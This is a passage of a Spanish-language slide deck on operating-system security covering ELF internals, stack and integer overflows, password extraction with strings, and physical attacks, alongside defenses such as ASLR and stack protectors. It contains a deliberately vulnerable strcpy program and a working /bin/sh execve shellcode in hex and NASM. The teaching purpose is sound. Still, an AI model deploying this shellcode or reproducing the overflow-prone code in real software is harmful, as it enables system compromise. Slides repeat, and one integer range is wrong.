  • 21. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
  • 22. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
  • 23. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Permisos en ficheros $ ls -la /bin/bash -rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash Opciones: r: read w: write x: eXecution t: sTicky bit s: Setuid Jacobo Avariento Seguridad en Sistemas Operativos
  • 24. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Permisos en ficheros $ ls -la /bin/bash -rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash Opciones: r: read w: write x: eXecution t: sTicky bit s: Setuid Jacobo Avariento Seguridad en Sistemas Operativos
  • 25. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Privilegios de ejecuci´on RUID: “Real User ID“. getuid() EUID: “Effective User ID“. geteuid() -rwsr-xr-x 1 root root 31020 4. Okt 2008 /bin/ping Jacobo Avariento Seguridad en Sistemas Operativos
  • 26. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Espacio de Memoria Virtual de un proceso Jacobo Avariento Seguridad en Sistemas Operativos
  • 27. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 28. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Disposici´on de la pila (“Stack Layout“) Jacobo Avariento Seguridad en Sistemas Operativos
  • 29. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 30. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Bloque de activaci´on de la subrutina C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> C´odigo ensamblador (“Callee“) 55 push %ebp 89 e5 mov %esp,%ebp 83 ec 04 sub $0x4,%esp Jacobo Avariento Seguridad en Sistemas Operativos
  • 31. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Bloque de activaci´on de la subrutina C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> C´odigo ensamblador (“Callee“) 55 push %ebp 89 e5 mov %esp,%ebp 83 ec 04 sub $0x4,%esp Jacobo Avariento Seguridad en Sistemas Operativos
  • 32. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Devolviendo el control al programa... C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> c9 leave c3 ret Jacobo Avariento Seguridad en Sistemas Operativos
  • 33. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Ataques a ficheros ejecutables Jacobo Avariento Seguridad en Sistemas Operativos
  • 34. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Interceptando llamadas al sistema ltrace Intercepta llamadas a librer´ıas din´amicas ejecutadas por el proceso $ ltrace -e open ./syscall hijacking open("/tmp/pass", 0, 026773603300) = -1 +++ exited (status 0) +++ strace Intercepta llamadas del sistema y se˜nales de un proceso $ strace -e trace=open ./syscall hijacking open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/libc.so.6", O_RDONLY) = 3 open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory) Jacobo Avariento Seguridad en Sistemas Operativos
  • 35. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Interceptando llamadas al sistema ltrace Intercepta llamadas a librer´ıas din´amicas ejecutadas por el proceso $ ltrace -e open ./syscall hijacking open("/tmp/pass", 0, 026773603300) = -1 +++ exited (status 0) +++ strace Intercepta llamadas del sistema y se˜nales de un proceso $ strace -e trace=open ./syscall hijacking open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/libc.so.6", O_RDONLY) = 3 open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory) Jacobo Avariento Seguridad en Sistemas Operativos
  • 36. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 37. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 38. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 39. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Ejemplo (Fichero get pass.c) char pass[]= "XXXXXXX"; int main () { exit(0); } Ataque $ strings ./get pass /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used exit __libc_start_main GLIBC_2.0 PTRh [^_] password ultra secreto Jacobo Avariento Seguridad en Sistemas Operativos
  • 40. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Ejemplo (Fichero get pass.c) char pass[]= "XXXXXXX"; int main () { exit(0); } Ataque $ strings ./get pass /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used exit __libc_start_main GLIBC_2.0 PTRh [^_] password ultra secreto Jacobo Avariento Seguridad en Sistemas Operativos
  • 41. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 42. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 43. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 44. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 45. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Desbordamientos de pila ”Stack Overflow“ Jacobo Avariento Seguridad en Sistemas Operativos
  • 46. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Programa vulnerable Fichero bufo2.c void func(char *nom) { char nombre[128]; strcpy(nombre, nom); printf("Hola %sn", nombre); printf("%Xn", &nombre); } int main(int argc, char* argv[]) { func(argv[1]); exit(0); } Demo $ ./bufo2 $(perl -e ”print ’A’ x 8196”) Segmentation fault (core dumped) Jacobo Avariento Seguridad en Sistemas Operativos
  • 47. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Programa vulnerable Fichero bufo2.c void func(char *nom) { char nombre[128]; strcpy(nombre, nom); printf("Hola %sn", nombre); printf("%Xn", &nombre); } int main(int argc, char* argv[]) { func(argv[1]); exit(0); } Demo $ ./bufo2 $(perl -e ”print ’A’ x 8196”) Segmentation fault (core dumped) Jacobo Avariento Seguridad en Sistemas Operativos
  • 48. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Por qu´e da ”Segmentation Fault”? Jacobo Avariento Seguridad en Sistemas Operativos
  • 49. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte I: Aprovecharse de la vulnerabilidad Jacobo Avariento Seguridad en Sistemas Operativos
  • 50. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
  • 51. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
  • 52. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
  • 53. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes /* shell sh spawner without placeholders by jack */ char shellcode2[] = "xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0c" "xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff" "xffx2fx62x69x6ex2fx73x68"; Jacobo Avariento Seguridad en Sistemas Operativos
  • 54. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa ; nasm -f elf execve2.asm ; execve(const char *path, char *const argv[], char *const envp[]); section .text global _start _start: jmp short GotoCall shellcode: pop esi xor eax,eax mov byte [esi + 7], al ; J = 0x0 lea ebx, [esi] ; ebx = &’/bin/sh’ mov long [esi + 8], ebx ; AAAA = dir de /bin/sh mov long [esi + 12], eax ; KKKK = 0x0000 mov byte al, 0x0b ; sys_execve syscall #11 mov ebx, esi ; argv1 lea ecx, [esi + 8] ; argv2 lea edx, [esi + 12] ; argv3 int 0x80 GotoCall: call shellcode db ’/bin/shJAAAAKKKK’ Jacobo Avariento Seguridad en Sistemas Operativos
  • 55. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 56. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 57. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 58. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 59. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 60. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 61. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 62. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 63. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 64. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 65. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 66. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Desbordamientos de enteros “Integer Overflow” Jacobo Avariento Seguridad en Sistemas Operativos
  • 67. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 68. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 69. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 70. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Ejemplo long long max_quota= 2147483647+1; // Overflow? int current_quota= get_quota(user); // Overflow? if (current_quota > max_quota) { printf(‘‘Quota exceeded.‘‘); _exit(0); } Vpopmail/QmailAdmin: http://www.sofistic.net/es/advisories/0901 Jacobo Avariento Seguridad en Sistemas Operativos
  • 71. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Ejemplo long long max_quota= 2147483647+1; // Overflow? int current_quota= get_quota(user); // Overflow? if (current_quota > max_quota) { printf(‘‘Quota exceeded.‘‘); _exit(0); } Vpopmail/QmailAdmin: http://www.sofistic.net/es/advisories/0901 Jacobo Avariento Seguridad en Sistemas Operativos
  • 72. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad F´ısica Jacobo Avariento Seguridad en Sistemas Operativos
  • 73. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 74. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 75. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 76. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 77. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 78. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Keyloggers $54.95 Jacobo Avariento Seguridad en Sistemas Operativos
  • 79. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Keyloggers $89.99 Jacobo Avariento Seguridad en Sistemas Operativos
  • 80. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Efecto Tempest Fuente: http://www.cl.cam.ac.uk/ mgk25/pet2004-fpd.pdf Jacobo Avariento Seguridad en Sistemas Operativos
  • 81. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el sistema: Cifrado de datos/particiones OpenSSL LUKS TrueCrypt Jacobo Avariento Seguridad en Sistemas Operativos
  • 82. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica $ kill -9 $$ Jacobo Avariento Seguridad en Sistemas Operativos